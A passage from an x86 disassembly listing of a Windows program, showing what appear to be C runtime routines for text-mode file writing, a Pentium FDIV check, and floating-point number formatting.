loc_422355: ; CODE XREF: sub_421F20+21Fj ; sub_421F20:loc_4221A9j mov eax, [ebp+var_C] sub eax, [ebp+arg_4] mov [ebp+var_18], eax loc_42235E: ; CODE XREF: sub_421F20+184j mov eax, [ebp+var_18] loc_422361: ; CODE XREF: sub_421F20+3Dj ; sub_421F20+132j ... mov esp, ebp pop ebp retn sub_421F20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422370 proc near ; CODE XREF: sub_41A0D0+147p ; sub_41E810+1C9p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, dword_492520 jnb short loc_4223A1 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_492420[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_4223BC loc_4223A1: ; CODE XREF: sub_422370+Dj call sub_422F20 mov dword ptr [eax], 9 call sub_422F30 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp short loc_4223EE ; --------------------------------------------------------------------------- loc_4223BC: ; CODE XREF: sub_422370+2Fj mov edx, [ebp+arg_0] push edx call sub_4280C0 add esp, 4 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_422400 add esp, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push eax call sub_428150 add esp, 4 mov eax, [ebp+var_4] loc_4223EE: ; CODE XREF: sub_422370+4Aj mov esp, ebp pop ebp retn sub_422370 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422400 proc near ; CODE XREF: sub_422370+64p ; sub_42C610+145p var_420 = dword ptr -420h var_41C = byte ptr -41Ch var_418 = dword ptr -418h var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 420h mov [ebp+var_10], 0 mov eax, [ebp+var_10] mov [ebp+var_420], eax cmp [ebp+arg_8], 0 jnz short loc_422426 xor eax, eax jmp loc_42266F ; --------------------------------------------------------------------------- loc_422426: ; CODE XREF: sub_422400+1Dj mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_492420[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 20h test ecx, ecx jz short loc_422458 push 2 push 0 mov edx, [ebp+arg_0] push edx call sub_424B90 add esp, 0Ch loc_422458: ; CODE XREF: sub_422400+46j mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_492420[eax*4] movsx eax, byte ptr [edx+ecx+4] and eax, 80h test eax, eax jz loc_42258C mov ecx, [ebp+arg_4] mov [ebp+var_4], ecx mov [ebp+var_C], 0 loc_42248D: ; CODE XREF: sub_422400:loc_422585j mov edx, [ebp+var_4] sub edx, [ebp+arg_4] cmp edx, [ebp+arg_8] jnb loc_42258A lea eax, [ebp+var_414] mov [ebp+var_8], eax loc_4224A5: ; CODE XREF: sub_422400+115j mov ecx, [ebp+var_8] lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jge short loc_422517 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jnb short loc_422517 mov ecx, [ebp+var_4] mov dl, [ecx] mov [ebp+var_41C], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax movsx ecx, [ebp+var_41C] cmp ecx, 0Ah jnz short loc_422501 mov edx, [ebp+var_420] add edx, 1 mov [ebp+var_420], edx mov eax, [ebp+var_8] mov byte ptr [eax], 0Dh mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx loc_422501: ; CODE XREF: sub_422400+E1j mov edx, [ebp+var_8] mov al, [ebp+var_41C] mov [edx], al mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx jmp short loc_4224A5 ; --------------------------------------------------------------------------- loc_422517: ; CODE XREF: sub_422400+B6j ; sub_422400+C1j push 0 lea edx, [ebp+var_418] push edx mov eax, [ebp+var_8] lea ecx, [ebp+var_414] sub eax, ecx push eax lea edx, [ebp+var_414] push edx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_492420[eax*4] mov eax, [edx+ecx] push eax call ds:dword_4942E4 test eax, eax jz short loc_42257A mov ecx, [ebp+var_10] add ecx, [ebp+var_418] mov [ebp+var_10], ecx mov edx, [ebp+var_8] lea eax, [ebp+var_414] sub edx, eax cmp [ebp+var_418], edx jge short loc_422578 jmp short loc_42258A ; --------------------------------------------------------------------------- loc_422578: ; CODE XREF: sub_422400+174j jmp short loc_422585 ; --------------------------------------------------------------------------- loc_42257A: ; CODE XREF: sub_422400+155j call ds:dword_4942F0 mov [ebp+var_C], eax jmp short loc_42258A ; --------------------------------------------------------------------------- loc_422585: ; CODE XREF: sub_422400:loc_422578j jmp loc_42248D ; --------------------------------------------------------------------------- loc_42258A: ; CODE XREF: sub_422400+96j ; sub_422400+176j ... jmp short loc_4225DC ; --------------------------------------------------------------------------- loc_42258C: ; CODE XREF: sub_422400+7Aj push 0 lea ecx, [ebp+var_418] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_492420[ecx*4] mov ecx, [eax+edx] push ecx call ds:dword_4942E4 test eax, eax jz short loc_4225D3 mov [ebp+var_C], 0 mov edx, [ebp+var_418] mov [ebp+var_10], edx jmp short loc_4225DC ; --------------------------------------------------------------------------- loc_4225D3: ; CODE XREF: sub_422400+1BFj call ds:dword_4942F0 mov [ebp+var_C], eax loc_4225DC: ; CODE XREF: sub_422400:loc_42258Aj ; sub_422400+1D1j cmp [ebp+var_10], 0 jnz loc_422666 cmp [ebp+var_C], 0 jz short loc_42261A cmp [ebp+var_C], 5 jnz short loc_422609 call sub_422F20 mov dword ptr [eax], 9 call sub_422F30 mov ecx, [ebp+var_C] mov [eax], ecx jmp short loc_422615 ; --------------------------------------------------------------------------- loc_422609: ; CODE XREF: sub_422400+1F0j mov edx, [ebp+var_C] push edx call sub_422E80 add esp, 4 loc_422615: ; CODE XREF: sub_422400+207j or eax, 0FFFFFFFFh jmp short loc_42266F ; --------------------------------------------------------------------------- loc_42261A: ; CODE XREF: sub_422400+1EAj mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_492420[eax*4] movsx eax, byte ptr [edx+ecx+4] and eax, 40h test eax, eax jz short loc_42264B mov ecx, [ebp+arg_4] movsx edx, byte ptr [ecx] cmp edx, 1Ah jnz short loc_42264B xor eax, eax jmp short loc_42266F ; --------------------------------------------------------------------------- loc_42264B: ; CODE XREF: sub_422400+23Aj ; sub_422400+245j call sub_422F20 mov dword ptr [eax], 1Ch call sub_422F30 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp short loc_42266F ; --------------------------------------------------------------------------- loc_422666: ; CODE XREF: sub_422400+1E0j mov eax, [ebp+var_10] sub eax, [ebp+var_420] loc_42266F: ; CODE XREF: sub_422400+21j ; sub_422400+218j ... mov esp, ebp pop ebp retn sub_422400 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422680 proc near ; CODE XREF: sub_41A330+15p ; .text:004288C5p push ebp mov ebp, esp push 30000h push 10000h call sub_428890 add esp, 8 pop ebp retn sub_422680 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4226A0 proc near ; CODE XREF: sub_422700:loc_422739p var_1C = dword ptr -1Ch var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi mov dword ptr [ebp+var_18], 80000000h mov dword ptr [ebp+var_18+4], 4147FFFFh mov dword ptr [ebp+var_8], 0C0000000h mov dword ptr [ebp+var_8+4], 4150017Eh fld [ebp+var_8] fdiv [ebp+var_18] fmul [ebp+var_18] fsubr [ebp+var_8] fstp [ebp+var_10] fld [ebp+var_10] fcomp ds:dbl_432FD8 fnstsw ax test ah, 41h jnz short loc_4226ED mov [ebp+var_1C], 1 jmp short loc_4226F4 ; --------------------------------------------------------------------------- loc_4226ED: ; CODE XREF: sub_4226A0+42j mov [ebp+var_1C], 0 loc_4226F4: ; CODE XREF: sub_4226A0+4Bj mov eax, [ebp+var_1C] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4226A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422700 proc near ; CODE XREF: sub_41A330+Bp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 push offset aKernel32 ; "KERNEL32" call ds:dword_494380 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_422739 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" mov eax, [ebp+var_4] push eax call ds:dword_494348 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_422739 push 0 call [ebp+var_8] jmp short loc_42273E ; --------------------------------------------------------------------------- loc_422739: ; CODE XREF: sub_422700+18j ; sub_422700+30j call sub_4226A0 loc_42273E: ; CODE XREF: sub_422700+37j mov esp, ebp pop ebp retn sub_422700 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422750 proc near ; CODE XREF: sub_41EA90+6CFp ; DATA XREF: sub_41A370+21o ... var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] push ecx call sub_41AE40 add esp, 4 cmp eax, 65h jz short loc_4227B0 loc_42276A: ; CODE XREF: sub_422750+5Ej mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx cmp dword_442F58, 1 jle short loc_422792 push 4 mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] push ecx call sub_41E750 add esp, 8 mov [ebp+var_C], eax jmp short loc_4227AA ; --------------------------------------------------------------------------- loc_422792: ; CODE XREF: sub_422750+2Aj mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] mov ecx, off_442D4C xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp+var_C], edx loc_4227AA: ; CODE XREF: sub_422750+40j cmp [ebp+var_C], 0 jnz short loc_42276A loc_4227B0: ; CODE XREF: sub_422750+18j mov eax, [ebp+arg_0] mov cl, [eax] mov [ebp+var_8], cl mov edx, [ebp+arg_0] mov al, byte_442F5C mov [edx], al mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx loc_4227CB: ; CODE XREF: sub_422750+A2j mov edx, [ebp+arg_0] mov al, [edx] mov [ebp+var_4], al mov ecx, [ebp+arg_0] mov dl, [ebp+var_8] mov [ecx], dl mov al, [ebp+var_4] mov [ebp+var_8], al mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax test edx, edx jnz short loc_4227CB mov esp, ebp pop ebp retn sub_422750 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422800 proc near ; CODE XREF: sub_41EA90+6F1p ; DATA XREF: sub_41A370+Do ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx loc_422804: ; CODE XREF: sub_422800+28j mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_42282A mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] movsx ecx, byte_442F5C cmp eax, ecx jz short loc_42282A mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx jmp short loc_422804 ; --------------------------------------------------------------------------- loc_42282A: ; CODE XREF: sub_422800+Cj ; sub_422800+1Dj mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx test ecx, ecx jz loc_4228D3 loc_422841: ; CODE XREF: sub_422800+6Aj mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_42286C mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] cmp eax, 65h jz short loc_42286C mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] cmp edx, 45h jz short loc_42286C mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax jmp short loc_422841 ; --------------------------------------------------------------------------- loc_42286C: ; CODE XREF: sub_422800+49j ; sub_422800+54j ... mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx mov edx, [ebp+arg_0] sub edx, 1 mov [ebp+arg_0], edx loc_42287B: ; CODE XREF: sub_422800+8Fj mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] cmp ecx, 30h jnz short loc_422891 mov edx, [ebp+arg_0] sub edx, 1 mov [ebp+arg_0], edx jmp short loc_42287B ; --------------------------------------------------------------------------- loc_422891: ; CODE XREF: sub_422800+84j mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] movsx edx, byte_442F5C cmp ecx, edx jnz short loc_4228AB mov eax, [ebp+arg_0] sub eax, 1 mov [ebp+arg_0], eax loc_4228AB: ; CODE XREF: sub_422800+A0j ; sub_422800+D1j mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_4] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx test eax, eax jz short loc_4228D3 jmp short loc_4228AB ; --------------------------------------------------------------------------- loc_4228D3: ; CODE XREF: sub_422800+3Bj ; sub_422800+CFj mov esp, ebp pop ebp retn sub_422800 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4228E0 proc near ; DATA XREF: sub_41A370+2Bo ; .data:off_443210o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] fld qword ptr [eax] fcomp ds:dbl_433008 fnstsw ax test ah, 1 jnz short loc_4228FF mov [ebp+var_4], 1 jmp short loc_422906 ; --------------------------------------------------------------------------- loc_4228FF: ; CODE XREF: sub_4228E0+14j mov [ebp+var_4], 0 loc_422906: ; CODE XREF: sub_4228E0+1Dj mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_4228E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422910 proc near ; CODE XREF: sub_41FBE0+1138p ; DATA XREF: sub_41A370+17o ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_0], 0 jz short loc_42293C mov eax, [ebp+arg_8] push eax lea ecx, [ebp+var_8] push ecx call sub_4293C0 add esp, 8 mov edx, [ebp+arg_4] mov eax, [ebp+var_8] mov [edx], eax mov ecx, [ebp+var_4] mov [edx+4], ecx jmp short loc_422954 ; --------------------------------------------------------------------------- loc_42293C: ; CODE XREF: sub_422910+Aj mov edx, [ebp+arg_8] push edx lea eax, [ebp+var_C] push eax call sub_429440 add esp, 8 mov ecx, [ebp+arg_4] mov edx, [ebp+var_C] mov [ecx], edx loc_422954: ; CODE XREF: sub_422910+2Aj mov esp, ebp pop ebp retn sub_422910 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422960 proc near ; CODE XREF: sub_422DF0+1Fp var_2C = byte ptr -2Ch var_14 = byte ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 2Ch lea eax, [ebp+var_14] mov [ebp+var_4], eax lea ecx, [ebp+var_2C] push ecx lea edx, [ebp+var_14] push edx mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx mov edx, [eax] push edx call sub_429580 add esp, 10h mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_8] add ecx, 1 push ecx mov edx, [ebp+var_4] xor eax, eax cmp dword ptr [edx], 2Dh setz al mov ecx, [ebp+arg_4] add ecx, eax xor edx, edx cmp [ebp+arg_8], 0 setnle dl add ecx, edx push ecx call sub_429480 add esp, 0Ch push 0 mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax call sub_4229E0 add esp, 14h mov eax, [ebp+arg_4] mov esp, ebp pop ebp retn sub_422960 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4229E0 proc near ; CODE XREF: sub_422960+67p ; sub_422D00+9Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp sub esp, 8 movsx eax, [ebp+arg_10] test eax, eax jz short loc_422A17 mov ecx, [ebp+arg_C] xor edx, edx cmp dword ptr [ecx], 2Dh setz dl mov eax, [ebp+arg_0] add eax, edx mov [ebp+var_4], eax xor ecx, ecx cmp [ebp+arg_4], 0 setnle cl push ecx mov edx, [ebp+var_4] push edx call sub_422E50 add esp, 8 loc_422A17: ; CODE XREF: sub_4229E0+Cj mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 2Dh jnz short loc_422A34 mov edx, [ebp+var_4] mov byte ptr [edx], 2Dh mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_422A34: ; CODE XREF: sub_4229E0+43j cmp [ebp+arg_4], 0 jle short loc_422A58 mov ecx, [ebp+var_4] mov edx, [ebp+var_4] mov al, [edx+1] mov [ecx], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov al, byte_442F5C mov [edx], al loc_422A58: ; CODE XREF: sub_4229E0+58j push offset aE000 ; "e+000" mov ecx, [ebp+var_4] add ecx, [ebp+arg_4] movsx edx, [ebp+arg_10] neg edx sbb edx, edx inc edx add ecx, edx push ecx call sub_419FA0 add esp, 8 mov [ebp+var_4], eax cmp [ebp+arg_8], 0 jz short loc_422A86 mov eax, [ebp+var_4] mov byte ptr [eax], 45h loc_422A86: ; CODE XREF: sub_4229E0+9Ej mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+arg_C] mov eax, [edx+0Ch] movsx ecx, byte ptr [eax] cmp ecx, 30h jz loc_422B3F mov edx, [ebp+arg_C] mov eax, [edx+4] sub eax, 1 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jge short loc_422AC1 mov ecx, [ebp+var_8] neg ecx mov [ebp+var_8], ecx mov edx, [ebp+var_4] mov byte ptr [edx], 2Dh loc_422AC1: ; CODE XREF: sub_4229E0+D1j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax cmp [ebp+var_8], 64h jl short loc_422AF5 mov eax, [ebp+var_8] cdq mov ecx, 64h idiv ecx mov edx, [ebp+var_4] mov cl, [edx] add cl, al mov edx, [ebp+var_4] mov [edx], cl mov eax, [ebp+var_8] cdq mov ecx, 64h idiv ecx mov [ebp+var_8], edx loc_422AF5: ; CODE XREF: sub_4229E0+EEj mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx cmp [ebp+var_8], 0Ah jl short loc_422B29 mov eax, [ebp+var_8] cdq mov ecx, 0Ah idiv ecx mov edx, [ebp+var_4] mov cl, [edx] add cl, al mov edx, [ebp+var_4] mov [edx], cl mov eax, [ebp+var_8] cdq mov ecx, 0Ah idiv ecx mov [ebp+var_8], edx loc_422B29: ; CODE XREF: sub_4229E0+122j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov cl, [eax] add cl, byte ptr [ebp+var_8] mov edx, [ebp+var_4] mov [edx], cl loc_422B3F: ; CODE XREF: sub_4229E0+BBj mov eax, [ebp+arg_0] mov esp, ebp pop ebp retn sub_4229E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422B50 proc near ; CODE XREF: sub_422DF0+3Bp var_2C = byte ptr -2Ch var_14 = byte ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 2Ch lea eax, [ebp+var_14] mov [ebp+var_4], eax lea ecx, [ebp+var_2C] push ecx lea edx, [ebp+var_14] push edx mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx mov edx, [eax] push edx call sub_429580 add esp, 10h mov eax, [ebp+var_4] push eax mov ecx, [ebp+var_4] mov edx, [ebp+arg_8] add edx, [ecx+4] push edx mov eax, [ebp+var_4] xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl mov edx, [ebp+arg_4] add edx, ecx push edx call sub_429480 add esp, 0Ch push 0 mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx call sub_422BC0 add esp, 10h mov eax, [ebp+arg_4] mov esp, ebp pop ebp retn sub_422B50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422BC0 proc near ; CODE XREF: sub_422B50+5Bp ; sub_422D00+D9p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_8] mov ecx, [eax+4] sub ecx, 1 mov [ebp+var_8], ecx movsx edx, [ebp+arg_C] test edx, edx jz short loc_422C13 mov eax, [ebp+arg_8] xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl mov edx, [ebp+arg_0] add edx, ecx mov [ebp+var_4], edx mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jnz short loc_422C13 mov ecx, [ebp+var_4] add ecx, [ebp+var_8] mov [ebp+var_C], ecx mov edx, [ebp+var_C] mov byte ptr [edx], 30h mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_C] mov byte ptr [ecx], 0 loc_422C13: ; CODE XREF: sub_422BC0+18j ; sub_422BC0+33j mov edx, [ebp+arg_0] mov [ebp+var_4], edx mov eax, [ebp+arg_8] cmp dword ptr [eax], 2Dh jnz short loc_422C30 mov ecx, [ebp+var_4] mov byte ptr [ecx], 2Dh mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_422C30: ; CODE XREF: sub_422BC0+5Fj mov eax, [ebp+arg_8] cmp dword ptr [eax+4], 0 jg short loc_422C58 push 1 mov ecx, [ebp+var_4] push ecx call sub_422E50 add esp, 8 mov edx, [ebp+var_4] mov byte ptr [edx], 30h mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp short loc_422C64 ; --------------------------------------------------------------------------- loc_422C58: ; CODE XREF: sub_422BC0+77j mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] add edx, [ecx+4] mov [ebp+var_4], edx loc_422C64: ; CODE XREF: sub_422BC0+96j cmp [ebp+arg_4], 0 jle loc_422CF6 push 1 mov eax, [ebp+var_4] push eax call sub_422E50 add esp, 8 mov ecx, [ebp+var_4] mov dl, byte_442F5C mov [ecx], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+arg_8] cmp dword ptr [ecx+4], 0 jge short loc_422CF6 movsx edx, [ebp+arg_C] test edx, edx jz short loc_422CAE mov eax, [ebp+arg_8] mov ecx, [eax+4] neg ecx mov [ebp+arg_4], ecx jmp short loc_422CD4 ; --------------------------------------------------------------------------- loc_422CAE: ; CODE XREF: sub_422BC0+DFj mov edx, [ebp+arg_8] mov eax, [edx+4] neg eax cmp [ebp+arg_4], eax jge short loc_422CC3 mov ecx, [ebp+arg_4] mov [ebp+var_10], ecx jmp short loc_422CCE ; --------------------------------------------------------------------------- loc_422CC3: ; CODE XREF: sub_422BC0+F9j mov edx, [ebp+arg_8] mov eax, [edx+4] neg eax mov [ebp+var_10], eax loc_422CCE: ; CODE XREF: sub_422BC0+101j mov ecx, [ebp+var_10] mov [ebp+arg_4], ecx loc_422CD4: ; CODE XREF: sub_422BC0+ECj mov edx, [ebp+arg_4] push edx mov eax, [ebp+var_4] push eax call sub_422E50 add esp, 8 mov ecx, [ebp+arg_4] push ecx push 30h mov edx, [ebp+var_4] push edx call sub_4189A0 add esp, 0Ch loc_422CF6: ; CODE XREF: sub_422BC0+A8j ; sub_422BC0+D7j mov eax, [ebp+arg_0] mov esp, ebp pop ebp retn sub_422BC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422D00 proc near ; CODE XREF: sub_422DF0+55p var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = byte ptr -2Ch var_14 = byte ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 38h mov [ebp+var_30], 0 lea eax, [ebp+var_14] mov [ebp+var_38], eax lea ecx, [ebp+var_2C] push ecx lea edx, [ebp+var_14] push edx mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx mov edx, [eax] push edx call sub_429580 add esp, 10h mov eax, [ebp+var_38] mov ecx, [eax+4] sub ecx, 1 mov [ebp+var_34], ecx mov edx, [ebp+var_38] xor eax, eax cmp dword ptr [edx], 2Dh setz al mov ecx, [ebp+arg_4] add ecx, eax mov [ebp+var_4], ecx mov edx, [ebp+var_38] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call sub_429480 add esp, 0Ch mov edx, [ebp+var_38] mov eax, [edx+4] sub eax, 1 xor ecx, ecx cmp [ebp+var_34], eax setl cl mov [ebp+var_30], cl mov edx, [ebp+var_38] mov eax, [edx+4] sub eax, 1 mov [ebp+var_34], eax cmp [ebp+var_34], 0FFFFFFFCh jl short loc_422D8B mov ecx, [ebp+var_34] cmp ecx, [ebp+arg_8] jl short loc_422DA7 loc_422D8B: ; CODE XREF: sub_422D00+81j push 1 mov edx, [ebp+var_38] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx call sub_4229E0 add esp, 14h jmp short loc_422DE1 ; --------------------------------------------------------------------------- loc_422DA7: ; CODE XREF: sub_422D00+89j movsx eax, [ebp+var_30] test eax, eax jz short loc_422DCB loc_422DAF: ; CODE XREF: sub_422D00+C2j mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax test edx, edx jz short loc_422DC4 jmp short loc_422DAF ; --------------------------------------------------------------------------- loc_422DC4: ; CODE XREF: sub_422D00+C0j mov ecx, [ebp+var_4] mov byte ptr [ecx-2], 0 loc_422DCB: ; CODE XREF: sub_422D00+ADj push 1 mov edx, [ebp+var_38] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx call sub_422BC0 add esp, 10h loc_422DE1: ; CODE XREF: sub_422D00+A5j mov esp, ebp pop ebp retn sub_422D00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422DF0 proc near ; CODE XREF: sub_41EA90+6ADp ; DATA XREF: sub_41A370+3o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_422DFF cmp [ebp+arg_8], 45h jnz short loc_422E19 loc_422DFF: ; CODE XREF: sub_422DF0+7j mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_422960 add esp, 10h jmp short loc_422E4D ; --------------------------------------------------------------------------- loc_422E19: ; CODE XREF: sub_422DF0+Dj cmp [ebp+arg_8], 66h jnz short loc_422E35 mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_422B50 add esp, 0Ch jmp short loc_422E4D ; --------------------------------------------------------------------------- loc_422E35: ; CODE XREF: sub_422DF0+2Dj mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_422D00 add esp, 10h loc_422E4D: ; CODE XREF: sub_422DF0+27j 